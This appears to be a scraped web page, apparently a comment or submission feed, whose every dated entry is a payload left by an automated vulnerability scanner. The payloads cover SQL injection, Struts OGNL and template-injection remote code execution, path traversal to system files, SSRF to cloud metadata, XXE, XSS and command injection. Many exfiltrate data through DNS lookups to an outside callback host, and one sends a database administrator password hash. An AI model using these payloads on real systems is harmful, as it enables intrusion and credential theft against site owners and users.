%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup `whoami`."leo2yix4_djh_ofwg6kwfkxvjekexjtj4-boibhn""7lu.r87.me"').(#p=new java.lang.ProcessBuilder({'/bin/bash','-c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
Tue, 03 Feb 2026
(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))
Tue, 03 Feb 2026
'+((SELECT 1 FROM (SELECT SLEEP(25))A))+'
Tue, 03 Feb 2026
//r87.com/n/n.css?0x1761B1
Tue, 03 Feb 2026
file:///windows/win.ini
Tue, 03 Feb 2026
/../../../../../../../../../../boot.ini
Tue, 03 Feb 2026
-1" OR 1=1 OR "1"="1
Tue, 03 Feb 2026
127.100.11.2/elmah.axd
Tue, 03 Feb 2026
1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Tue, 03 Feb 2026
<frame src="[removed]netsparker(0x1761B7)"></frame>
Tue, 03 Feb 2026
ping -w 25 127.0.0.1 &
Tue, 03 Feb 2026
"+gethostbyname(lc 'leo2yix4_dzkhd1zinfnoafw4hak_cihwk4hc8qu'.'bzk.r87.me')+"
Tue, 03 Feb 2026
https://www.aosacademy.com/server-status
Tue, 03 Feb 2026
'+netsparker(0x1761F7)+'
Tue, 03 Feb 2026
cast((SELECT dblink_connect('host=leo2yix4_dpte7f9iwcdelwd73rkx_ptawobusf0'||'rra.r87.me user=a password=a connect_timeout=2')) as numeric)
Tue, 03 Feb 2026
| SET /A 0xFFF9999-72456
Tue, 03 Feb 2026
eval('print localtime()*0+0xFFF9999-43029')
Tue, 03 Feb 2026
http://r87.com/?www.aosacademy.com/
Tue, 03 Feb 2026
'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'
Tue, 03 Feb 2026
-1" OR 1=1 OR "1"="1
Tue, 03 Feb 2026
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup "leo2yix4_dvzok0ifymws3m9aaw_w3kl9u109xiq"-uo.r87.me"').(#p=new java.lang.ProcessBuilder({'cmd.exe','/c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
Tue, 03 Feb 2026
-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'
Tue, 03 Feb 2026
//r87.com/n/j/?0x17621B
Tue, 03 Feb 2026
/../../../../../../../../../../boot.ini.php
Tue, 03 Feb 2026
/../../../../../../../../../../windows/win.ini.php
Tue, 03 Feb 2026
127.0.0.1/elmah.axd
Tue, 03 Feb 2026
ping -n 25 127.0.0.1
Tue, 03 Feb 2026
syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Tue, 03 Feb 2026
nslookup leo2yix4_dsdpzugiaetq0jazx5ueezgu1ljkwdb^j4s.r87.me&'\"`0&nslookup leo2yix4_dsdpzugiaetq0jazx5ueezgu1ljkwdb^j4s.r87.me&`'
Tue, 03 Feb 2026
http://169.254.169.254/opc/v1/instance
Tue, 03 Feb 2026
cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(119)||chr(112)||chr(99)||chr(115)||chr(49)||chr(45)||chr(110)||chr(113)||chr(103)||chr(109)||chr(112)||chr(112)||chr(118)||chr(120)||chr(122)||chr(111)||chr(55)||chr(102)||chr(113)||chr(106)||chr(119)||chr(103)||chr(103)||chr(97)||chr(116)||chr(119)||chr(111)||chr(119)||chr(117)||chr(110)||chr(53)||chr(95)||chr(121)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)
Tue, 03 Feb 2026
//r87.com/?http://www.aosacademy.com/
Tue, 03 Feb 2026
'"@--></style>[removed][removed]netsparker(0x176383)[removed]
Tue, 03 Feb 2026
{{__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgbGVvMnlpeDRfZGswb255Nmo0LWhhNjgweTl6Z2Vvbnd3Mjd6M2htcHJuZy5yODcubWU=')).read()}}
Tue, 03 Feb 2026
'+print localtime()*0+0xFFF9999-69388+'
Tue, 03 Feb 2026
'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'
Tue, 03 Feb 2026
1";expr 268409241 - 67701;"
Tue, 03 Feb 2026
1/../../../../../../../../../../boot.ini
Tue, 03 Feb 2026
'><net sparker=netsparker(0x1763CA)>
Tue, 03 Feb 2026
c:\windows\win.ini
Tue, 03 Feb 2026
-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))
Tue, 03 Feb 2026
& nslookup leo2yix4_drmxrrs1gx-ddkj8g9a8qmbnjlowvno^bec.r87.me&'\"`0&nslookup leo2yix4_drmxrrs1gx-ddkj8g9a8qmbnjlowvno^bec.r87.me&`'
Tue, 03 Feb 2026
ping -w 25 127.0.0.1
Tue, 03 Feb 2026
1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/
Tue, 03 Feb 2026
[::1]/elmah.axd
Tue, 03 Feb 2026
gethostbyname(trim('leo2yix4_duijkzyvnra-yb3hwo4rwdahpkcs0ba'.'yjg.r87.me'))
Tue, 03 Feb 2026
https://metadata.packet.net/metadata
Tue, 03 Feb 2026
'||(SELECT dblink_connect('host=leo2yix4_d5iqsv2ev8r3ztzzfdi4luovifmbjgp'||'zi0.r87.me user=a password=a connect_timeout=2'))||'
Tue, 03 Feb 2026
"+netsparker(0x176542)+"
Tue, 03 Feb 2026
"+print localtime()*0+0xFFF9999-28378+"
Tue, 03 Feb 2026
-1'+and+6=3+or+1=1+(SELECT+1+and+ROW(1,1)>(SELECT+COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)+'
Tue, 03 Feb 2026
r87.com/?www.aosacademy.com/
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
1';expr 268409241 - 9624;'
Tue, 03 Feb 2026
{% set d = "eval(__import__('base64').urlsafe_b64decode('X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdiYXNlNjQnKS51cmxzYWZlX2I2NGRlY29kZSgnYm5Oc2IyOXJkWEFnYkdWdk1ubHBlRFJmWkhsM2NtRXdjV1l4WW1SdlpXeDJaMmhuZVc5MmFXdGhiMk42Y0djeVpucDBhUzV5T0RjdWJXVT0nKSkucmVhZCgp'))" %}{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval'](d) }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}
Tue, 03 Feb 2026
file:///boot.ini
Tue, 03 Feb 2026
"><net sparker=netsparker(0x176581)>
Tue, 03 Feb 2026
'& nslookup leo2yix4_djxsths7ubzl1ecycz30n3glewhfj4b^gvm.r87.me&'\"`0&nslookup leo2yix4_djxsths7ubzl1ecycz30n3glewhfj4b^gvm.r87.me&`'
Tue, 03 Feb 2026
|ping -n 25 127.0.0.1
Tue, 03 Feb 2026
...//...//...//...//...//...//...//...//...//...//...//windows/win.ini
Tue, 03 Feb 2026
-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1
Tue, 03 Feb 2026
-1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+"
Tue, 03 Feb 2026
https://www.aosacademy.com/elmah
Tue, 03 Feb 2026
<html xmlns="http://www.w3.org/1999/xhtml">[removed]netsparker(0x1765D7)[removed]</html>
Tue, 03 Feb 2026
arguments[1].end(require('child_process').execSync('expr 268409241 - 38525'))
Tue, 03 Feb 2026
gethostbyname(trim('leo2yix4_d9jk3c0_rpzwunfmtkx-u77hfxrsnpr'.'ztg.r87.me'));
Tue, 03 Feb 2026
r87.com/?http://www.aosacademy.com/
Tue, 03 Feb 2026
(select UTL_INADDR.GET_HOST_ADDRESS('leo2yix4_d1kpnhsqil8yzc4nwumty2kwqdcno_v'||'cmg.r87.me') from DUAL)
Tue, 03 Feb 2026
-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand(0)*2))x from INFORMATION_SCHEMA.COLLATIONS group by x limit 1))-- 1
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
= global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgbGVvMnlpeDRfZDhjb2VhcWNkYXN4ZnFoYnN1cnQ2eTNjbWoxMDUxc2RyZy5yODcubWU=','base64').toString())
Tue, 03 Feb 2026
<iMg>
Tue, 03 Feb 2026
1;expr 268409241 - 68041;x
Tue, 03 Feb 2026
c:\boot.ini
Tue, 03 Feb 2026
....//....//....//....//....//....//....//....//....//....//....//windows/win.ini
Tue, 03 Feb 2026
"& nslookup leo2yix4_d36uh5k8acipnjuaihbda0krkuppwxe^luw.r87.me&'\"`0&nslookup leo2yix4_d36uh5k8acipnjuaihbda0krkuppwxe^luw.r87.me&`'
Tue, 03 Feb 2026
') AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1
Tue, 03 Feb 2026
((select sleep(25)))a-- 1
Tue, 03 Feb 2026
arguments[1].end(require('child_process').execSync('set /A 268409241 - 2036'))
Tue, 03 Feb 2026
www.aosacademy.com/elmah
Tue, 03 Feb 2026
r87.com/?https://www.aosacademy.com/
Tue, 03 Feb 2026
+gethostbyname(trim('leo2yix4_dqcwiwwtcrmjqmscrrl_jioub5vkm9h'.'dtg.r87.me'));//
Tue, 03 Feb 2026
'
Tue, 03 Feb 2026
//r87.com/?0x17676A
Tue, 03 Feb 2026
(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('leo2yix4_dfblfm4vjsbi4pccxo4cegqrem0_u_l'||'x4y.r87.me') from DUAL))))
Tue, 03 Feb 2026
[removed]netsparker(0x1767B6)
Tue, 03 Feb 2026
<%- global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgbGVvMnlpeDRfZGRjZ25ybmZrcmZkZnV5ZXhmamJzbGt5Y2ZjY3VpZTIwOC5yODcubWU=','base64').toString()) %>
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................
Tue, 03 Feb 2026
expr 268409241 - 13510;
Tue, 03 Feb 2026
nslookup "leo2yix4_ddn064pexyliicxdy4jpc5wc1dlq1j7""8xw.r87.me"
Tue, 03 Feb 2026
.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///windows/win.ini
Tue, 03 Feb 2026
(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)
Tue, 03 Feb 2026
64.20.35.186/elmah
Tue, 03 Feb 2026
<a>
Tue, 03 Feb 2026
/\r87.com/?www.aosacademy.com/
Tue, 03 Feb 2026
'+gethostbyname(trim('leo2yix4_dtesgjqpvtco6p--n71bzqjejsk25l5'.'biw.r87.me'))+'
Tue, 03 Feb 2026
%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("a",268409241-54711)}
Tue, 03 Feb 2026
(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)
Tue, 03 Feb 2026
'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('leo2yix4_dcnvs1s8qh0vf8ttbku_bovzabpjxjl'||'jk4.r87.me') from DUAL))||'
Tue, 03 Feb 2026
{php}Smarty_Resource::parseResourceName(system("nslookup leo2yix4_d606rfm4yjsurs8zc19x_eyywona544"."qgm.r87.me"),'b');{/php}
Tue, 03 Feb 2026
[removed]ns(0x1768D3)[removed]
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
expr 268409241 - 77941
Tue, 03 Feb 2026
/../../../../../../../../../../boot.ini
Tue, 03 Feb 2026
&nslookup "leo2yix4_d2v2tvlssf_voxh18d72zyjvch5sqv-""ips.r87.me"
Tue, 03 Feb 2026
1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '
Tue, 03 Feb 2026
127.100.11.2/elmah
Tue, 03 Feb 2026
. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /windows/win.ini
Tue, 03 Feb 2026
ns@mail.ns'"/>()&%[removed]netsparker(0x176992)[removed]
Tue, 03 Feb 2026
p "#{0xFFF9999.to_i-`echo 27344`.to_i}"
Tue, 03 Feb 2026
///r87.com/?www.aosacademy.com/
Tue, 03 Feb 2026
"+gethostbyname(trim('leo2yix4_dpekku-mun2kwzrvcn7tiexsi7t44w7'.'wsy.r87.me'))+"
Tue, 03 Feb 2026
'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'
Tue, 03 Feb 2026
(select UTL_INADDR.GET_HOST_ADDRESS(chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(108)||chr(111)||chr(99)||chr(113)||chr(108)||chr(53)||chr(120)||chr(117)||chr(104)||chr(52)||chr(110)||chr(56)||chr(54)||chr(101)||chr(119)||chr(102)||chr(99)||chr(95)||chr(121)||chr(102)||chr(120)||chr(103)||chr(52)||chr(112)||chr(51)||chr(55)||chr(118)||chr(121)||chr(53)||chr(50)||chr(117)||chr(115)||chr(101)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)
Tue, 03 Feb 2026
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("nslookup leo2yix4_dfjynhk85sthrcn0ed76rcdlbjuj_0e"~"jm8.r87.me")}}
Tue, 03 Feb 2026
<%a style=x:expre/**/ssion(netsparker(0x1769EA))>
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
response.write(268409241-65401)'
Tue, 03 Feb 2026
<!--#exec cmd="expr 268409241 - 22351"-->
Tue, 03 Feb 2026
file:///boot.ini
Tue, 03 Feb 2026
1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1
Tue, 03 Feb 2026
'&nslookup "leo2yix4_dxp-q0otdr12s4lj7l68rdqchfspju4""y-s.r87.me"
Tue, 03 Feb 2026
/../../../../../../../../../../windows/iis6.log
Tue, 03 Feb 2026
127.0.0.1/elmah
Tue, 03 Feb 2026
<iframe src="http://r87.com/?"></iframe>
Tue, 03 Feb 2026
Content-Type:text/html [removed]ns(0x176A83)[removed]
Tue, 03 Feb 2026
<? gethostbyname(trim('leo2yix4_dckzbx3liimq_igudindqj-4es3un2y'.'nzm.r87.me'));//?>
Tue, 03 Feb 2026
__import__('os').popen(('expr 268409241 - {0}').format('47589')).read()
Tue, 03 Feb 2026
<%= "#{(require'base64';%x(#{Base64.urlsafe_decode64('bnNsb29rdXAgbGVvMnlpeDRfZGMzcnZtYnNkY2RncWpyN2t5bjdrZWtmN3R2eGc0d2huMC5yODcubWU=')})).to_s}" %>
Tue, 03 Feb 2026
convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))
Tue, 03 Feb 2026
(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(119)||chr(108)||chr(117)||chr(105)||chr(99)||chr(115)||chr(119)||chr(102)||chr(97)||chr(104)||chr(111)||chr(102)||chr(122)||chr(122)||chr(122)||chr(120)||chr(103)||chr(117)||chr(116)||chr(104)||chr(100)||chr(57)||chr(108)||chr(113)||chr(120)||chr(117)||chr(102)||chr(120)||chr(114)||chr(57)||chr(121)||chr(114)||chr(103)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))))
Tue, 03 Feb 2026
exec('xp_dirtree ''\\leo2yix4_dznzm4idrwratzwghaqdvcacb63zu9q'+'ej4.r87.me'+'\c$\a''')
Tue, 03 Feb 2026
|expr${IFS}268409241${IFS}-${IFS}50017
Tue, 03 Feb 2026
n;ns:[removed]netsparker(0x176BCB));
Tue, 03 Feb 2026
+response.write(268409241-67959)'
Tue, 03 Feb 2026
1';SELECT pg_sleep(25)--
Tue, 03 Feb 2026
c:\boot.ini
Tue, 03 Feb 2026
"&nslookup "leo2yix4_dutq8y5j3eoutwerfdazhls-bhpzivd""ijw.r87.me"
Tue, 03 Feb 2026
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {eval,$({tr,/+,_-}<<<bnNsb29rdXAgbGVvMnlpeDRfZGN3a3RicGl2eTBwc3hpbG9xODlwYWs3azZmbWVrLXIzeS5yODcubWU=|{base64,--decode})}") }
Tue, 03 Feb 2026
www.aosacademy.com.r87.com/?
Tue, 03 Feb 2026
/../../../../../../../../../../proc/self/fd/2
Tue, 03 Feb 2026
'{${gethostbyname(trim('leo2yix4_di5dost7iqa7qrxs6cnj8njl-ehuaua'.'nvu.r87.me'))}}'
Tue, 03 Feb 2026
[::1]/elmah
Tue, 03 Feb 2026
__import__('os').popen(('SET /A 268409241 - {0}').format('1508')).read()
Tue, 03 Feb 2026
'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='
Tue, 03 Feb 2026
<frame src="[removed]netsparker(0x176C2F)"></frame>
Tue, 03 Feb 2026
'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(50)||chr(120)||chr(51)||chr(98)||chr(107)||chr(120)||chr(115)||chr(104)||chr(116)||chr(111)||chr(122)||chr(56)||chr(100)||chr(107)||chr(104)||chr(57)||chr(110)||chr(119)||chr(105)||chr(55)||chr(110)||chr(95)||chr(100)||chr(111)||chr(50)||chr(115)||chr(112)||chr(56)||chr(112)||chr(109)||chr(111)||chr(118)||chr(97)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||'
Tue, 03 Feb 2026
declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+'.leo2yix4_dn3ouc497ijvfme0z-l9v15zwhm7u7k'+'mni.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')
Tue, 03 Feb 2026
body{x:[removed]netsparker(0x176D69))}
Tue, 03 Feb 2026
"+response.write(268409241-58152)+"
Tue, 03 Feb 2026
1;SELECT pg_sleep(25)--
Tue, 03 Feb 2026
/../../../../../../../../../../web.config
Tue, 03 Feb 2026
|nslookup${IFS}"leo2yix4_dtoqdtwfce3oppsmhuuz-c9lxdxfwpk""jfu.r87.me"
Tue, 03 Feb 2026
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("cmd.exe /c nslookup leo2yix4_dqzsz0plbtwfhukzee95t5waxo3mjh7"+"_qy.r87.me") }
Tue, 03 Feb 2026
http://www.aosacademy.com.r87.com/?
Tue, 03 Feb 2026
-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
Tue, 03 Feb 2026
/../../../../../../../../../../proc/self/fd/2.php
Tue, 03 Feb 2026
createobject("WScript.Shell").exec("nslookup leo2yix4_d3l23ypyovxz1xsgagrsmhvl7etfcmq" & "0c8.r87.me").StdOut.ReadAll
Tue, 03 Feb 2026
http://aws.r87.me/latest/meta-data/public-hostname
Tue, 03 Feb 2026
Tue, 03 Feb 2026
1;exec('xp_dirtree ''\\leo2yix4_dg0kq6u8sprar1bq29is-wt-ba_mn38'+'u-4.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
<% response.write(268409241-49186) %>
Tue, 03 Feb 2026
require 'resolv';Resolv.getaddress ("leo2yix4_dgdshmvzsy-tv5w_gxoezka5yrzk7di".concat "nro.r87.me")
Tue, 03 Feb 2026
SELECT pg_sleep(25)--
Tue, 03 Feb 2026
*/netsparker(0x176DF6);/*
Tue, 03 Feb 2026
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup `whoami`."leo2yix4_d8oszb8h-cmpd8x36ipuc6qgfbpjlmz""alg.r87.me"').(#p=new java.lang.ProcessBuilder({'/bin/bash','-c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
Tue, 03 Feb 2026
/../../../../../../../../../../windows/win.ini
Tue, 03 Feb 2026
https://www.aosacademy.com.r87.com/?
Tue, 03 Feb 2026
Tue, 03 Feb 2026
/../../../../../../../../../../etc/httpd/logs/error.log
Tue, 03 Feb 2026
+createobject("WScript.Shell").exec("nslookup leo2yix4_ddijm_vfbak54pf4hqkm3gfs17yfn2i" & "bvm.r87.me").StdOut.ReadAll
Tue, 03 Feb 2026
-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
Tue, 03 Feb 2026
Tue, 03 Feb 2026
http://169.254.169.254/latest/meta-data/public-hostname
Tue, 03 Feb 2026
N3tSp4rK3R
Tue, 03 Feb 2026
-1';exec('xp_dirtree ''\\leo2yix4_d71jebcopk7zthgb1su6bc0zaexs1e_'+'s3i.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
NS09<s1﹥DBLʺSNGLʹNS09
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
print(int)0xFFF9999-83604
Tue, 03 Feb 2026
__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgbGVvMnlpeDRfZGs5azlkYnE0NmdyZ2xxMnRibG1kYmJfM2tibXlzdWlydy5yODcubWU=')).read()
Tue, 03 Feb 2026
1);SELECT pg_sleep(25)--
Tue, 03 Feb 2026
'+netsparker(0x176F6A)+'
Tue, 03 Feb 2026
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup "leo2yix4_dihw7wqzcdlmim3g6ry057luncidube"klk.r87.me"').(#p=new java.lang.ProcessBuilder({'cmd.exe','/c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
Tue, 03 Feb 2026
file:///windows/win.ini
Tue, 03 Feb 2026
+createobject("WScript.Shell").exec("nslookup leo2yix4_dksufa977yryviav830-zzztlggfp4l" & "moo.r87.me").StdOut.ReadAll+
Tue, 03 Feb 2026
-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"
Tue, 03 Feb 2026
${28275*28275-(96088)}
Tue, 03 Feb 2026
//r87。com/?
Tue, 03 Feb 2026
/../../../../../../../../../../etc/httpd/logs/error_log
Tue, 03 Feb 2026
Tue, 03 Feb 2026
http://127.0.0.1:22
Tue, 03 Feb 2026
1) exec('xp_dirtree ''\\leo2yix4_davivcb6wpeykvdmdkfhx8xstqsu0yj'+'c30.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
print(int)0xFFF9999-66473;
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
"+netsparker(0x1770DE)+"
Tue, 03 Feb 2026
{{__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgbGVvMnlpeDRfZDV2OGRuN25fZmFjOWlndWtub3RnazFncDVvZnJmaGw4NC5yODcubWU=')).read()}}
Tue, 03 Feb 2026
1');SELECT pg_sleep(25)--
Tue, 03 Feb 2026
<%createobject("WScript.Shell").exec("nslookup leo2yix4_dl9jejrijruvfzj93kfbawwt5vjjcgz" & "eag.r87.me").StdOut.ReadAll%>
Tue, 03 Feb 2026
/../../../../../../../../../../windows/win.ini.php
Tue, 03 Feb 2026
#{28275*28275-(99461)}
Tue, 03 Feb 2026
https://www.aosacademy.com/trace.axd
Tue, 03 Feb 2026
Tue, 03 Feb 2026
(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))
Tue, 03 Feb 2026
@r87.com
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/apache2/error.log
Tue, 03 Feb 2026
http://64.20.35.186:22
Tue, 03 Feb 2026
<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">]><ns>&lfi;</ns>
Tue, 03 Feb 2026
1')exec('xp_dirtree ''\\leo2yix4_dorzvat3s-fwqblv0ivzqvmkt1kakxe'+'k6g.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
' WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
+print(int)0xFFF9999-96056;//
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
"+createobject("WScript.Shell").exec("nslookup leo2yix4_ddpekaddxahd2uifozqvx7esdyroign" & "dxy.r87.me").StdOut.ReadAll+"
Tue, 03 Feb 2026
leo2yix4_dsctag3avkhepolg1slnc9xcppczzwyq1k.r87.me
Tue, 03 Feb 2026
1'));SELECT pg_sleep(25)--
Tue, 03 Feb 2026
\';netsparker(0x177257);///
Tue, 03 Feb 2026
